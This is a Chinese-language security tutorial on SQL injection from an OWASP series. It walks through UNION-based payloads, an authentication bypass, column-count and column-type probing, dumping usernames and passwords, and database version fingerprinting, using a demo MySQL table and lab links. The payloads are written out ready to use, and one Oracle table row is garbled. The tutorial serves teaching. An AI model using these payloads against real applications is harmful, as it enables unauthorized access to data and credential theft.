德慎思信息安全-OWASP 系列之注入漏洞(上)

OWASP 系列之注入漏洞(上)

摘要

上一期我們介紹了 OWASP 最重要的兩個版本把注入漏洞排到了榜一,可見此漏洞的常見與嚴(yán)重程度。接下來我們就詳細(xì)的介紹下注入漏洞

SQL injection

SQL 注入介紹

對于已經(jīng)懂點數(shù)據(jù)庫相關(guān)開發(fā)知識的朋友,在第一次接觸 SQl 注入漏洞的時候可能會非常好奇,是怎么樣的語法就讓攻擊者注入獲取了數(shù)據(jù)庫的數(shù)據(jù)呢?

我們來看一下簡單的注入的例子

# 假設(shè)我們后端有數(shù)據(jù)庫 xiaomi
mysql root@localhost:xiaomi> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| test               |
| xiaomi             |
| zblog_demo         |
+--------------------+

17 rows in set
Time: 0.004s
mysql root@localhost:xiaomi>

# 數(shù)據(jù)庫 xiaomi 有如下表
mysql root@localhost:xiaomi> show tables;
+------------------+
| Tables_in_xiaomi |
+------------------+
| dept             |
| emp              |
| salgrade         |
| user             |
| x                |
+------------------+
5 rows in set
Time: 0.004s
mysql root@localhost:xiaomi>

# 其中 user 表結(jié)構(gòu)/數(shù)據(jù)如下
mysql root@localhost:xiaomi> desc user;
+---------+----------+------+-----+---------+----------------+
| Field   | Type     | Null | Key | Default | Extra          |
+---------+----------+------+-----+---------+----------------+
| id      | int(11)  | NO   | PRI | <null>  | auto_increment |
| name    | char(10) | NO   |     | <null>  |                |
| address | char(50) | NO   |     | <null>  |                |
+---------+----------+------+-----+---------+----------------+

3 rows in set
Time: 0.008s
mysql root@localhost:xiaomi> select * from user;
+----+----------+---------------+
| id | name     | address       |
+----+----------+---------------+
| 1  | lihua    | guangdong     |
| 2  | wang     | xian          |
| 3  | lisi     | henan         |
| 4  | fu       | beijin        |
| 5  | xiaoming | henan         |
| 6  | lishi    | shanghaiditie |
+----+----------+---------------+
6 rows in set
Time: 0.003s
mysql root@localhost:xiaomi>

假設(shè)前端通過一個 URL 來請求后端服務(wù),查詢用戶

https://example.com/user.php?name=xiaoming&address=henan

參數(shù) name 的內(nèi)容會傳遞到后端代碼并進(jìn)行 sql 語法查詢,如果我們后端的 sql 語句為下面這樣

select * from user where name= 'xiaoming' and address ='henan'

那么,正常我們就會從數(shù)據(jù)庫查到我們希望的數(shù)據(jù)

但是,一個惡意的攻擊者,修改的訪問后端的 URL,傳遞了惡意的參數(shù)如下

# 參數(shù) name 的值修改為了 xiaoming' union select id, name, address from user --
https://example.com/user.php?name=xiaoming' union select id, name, address from user -- '&address=henan

# url 編碼后的地址為
https://example.com/user.php?name=xiaoming%27%20union%20select%20id,%20name,%20address%20from%20user%20--%20%27&address=henan

那么,最終在數(shù)據(jù)庫中 sql 的語法執(zhí)行的語句為

select * from user where name= 'xiaoming' union select id, name, address from user -- ' and address ='henan'

我們看到,執(zhí)行結(jié)果發(fā)生了我們期望之外的變化

這就是 SQL 注入,??!多么痛的領(lǐng)悟

下來,我們了解下 SQL 注入的各種細(xì)節(jié)

常見 SQL 注入類型

  • 查詢隱藏的數(shù)據(jù)
  • 影響應(yīng)用程序邏輯
  • UNION 攻擊
  • 查詢數(shù)據(jù)庫版本與結(jié)構(gòu)
  • SQL 盲注

查詢隱藏的數(shù)據(jù)

這個例子,我們在上面介紹了,我們接下來看看其他的例子

影響應(yīng)用程序的邏輯

# 假設(shè)后端的登錄驗證代碼如下
select * from users where username = 'admin' and password = 'password'

# 惡意的攻擊者,傳遞  administrator ' --
# 最終的 sql 語法會變成下面這樣
select * from users where username = 'administrator ' --' and password = 'password'

一個正常的普通賬戶的登錄語句應(yīng)該是這樣

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

攻擊者修改后,變成這樣

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

在線實驗

UNION 攻擊

union 命令可以執(zhí)行多個額外的 select 查詢,如這樣

這里有兩個關(guān)鍵點

  • 每個查詢要回顯相同數(shù)量的列(所以,要進(jìn)行攻擊的話要確認(rèn)原始sql 語句會回顯多少數(shù)據(jù)列???)
  • 每個數(shù)據(jù)列類型在查詢語句上要匹配(所以,要進(jìn)行攻擊的話,要選擇合適的數(shù)據(jù)類型)

在我們的注入介紹小節(jié)中的 sql 語句

select * from user where name= 'xiaoming' union select id, name, address from user -- ' and address ='henan'

還原回原始的 sql 語句后是這樣

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

這里,按 union 的語法規(guī)則

  1. 每個查詢都回顯了查相同數(shù)量的數(shù)據(jù)列
  2. 每個數(shù)據(jù)列的類型在查詢之間是匹配的

那么,問題來了。

如何確定 union 攻擊,所需要的列的數(shù)量呢???

列數(shù)量確定

這里我們介紹兩種方法:

  • 利用 ordery by
  • 利用報錯 union select

先來看下,利用 ordery by 確定列數(shù)量

order by 1 -- 
order by 2 --
order by 3 -- 

這樣,我們就可以確定原始的 sql 查詢的表是有 3個數(shù)據(jù)列的。

再來,我們看下利用報錯 union select 確定數(shù)據(jù)列數(shù)量

# 主要利用 NULL 的原因為,可以轉(zhuǎn)換為每種常用的數(shù)據(jù)類型
union select null -- 
union select null,null-- 
union select null,null,null-- 

注意: 不是所有數(shù)據(jù)庫都會做 null 轉(zhuǎn)換

在線實驗

再來,確認(rèn)列的字段類型

union select 'a', null, null, null --
union select null, 'a', null, null --
union select null, null, 'a', null --
union select null, null, null, 'a' --

在線實驗

跨表查詢

# 利用 union 
' union select username, password from users -- 

在線實驗

在單個列中查詢多個值

# 在單個列中查詢多個值
# 先找有幾個列
# 可以通過字符串拼接的方式來利用 ||
’ union select username || '~' || password from users --,

對于不同的數(shù)據(jù)庫,字符串拼接方式不同

數(shù)據(jù)庫 字符串拼接
Oracle ‘a(chǎn)’ || ‘b’
Microsoft ‘a(chǎn)’ + ‘b’
PostgreSQL ‘a(chǎn)’ || ‘b’
MySQL ‘a(chǎn)’ ‘b’ (中間有空格)或者使用函數(shù) concat(‘a(chǎn)’, ‘b’)

在線實驗

查詢數(shù)據(jù)庫類型和版本

數(shù)據(jù)庫 查看版本方法
Oracle select banner from vversion<br/>selectversionfromvversion<br />select version from vversion<br/>selectversionfromvversion
Microsoft select @@ version
PostgreSQL select version()
MySQL select @@version

在攻擊中利用的方式為

# oracle 
' union select banner, NULL from v$version--

# mysql, microsoft
' union select @@version, NULL  --  #

在線實驗

所有以上介紹的語句,都是為了我們收集數(shù)據(jù)庫信息,為也后續(xù)根據(jù)數(shù)據(jù)庫類型、結(jié)構(gòu)版本來定制攻擊語句,獲取數(shù)據(jù)庫數(shù)據(jù)。

本次 SQL 注入的部分,我們先介紹到這里,下一期我們將介紹更進(jìn)一步的注入方式,歡迎大家圍觀。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容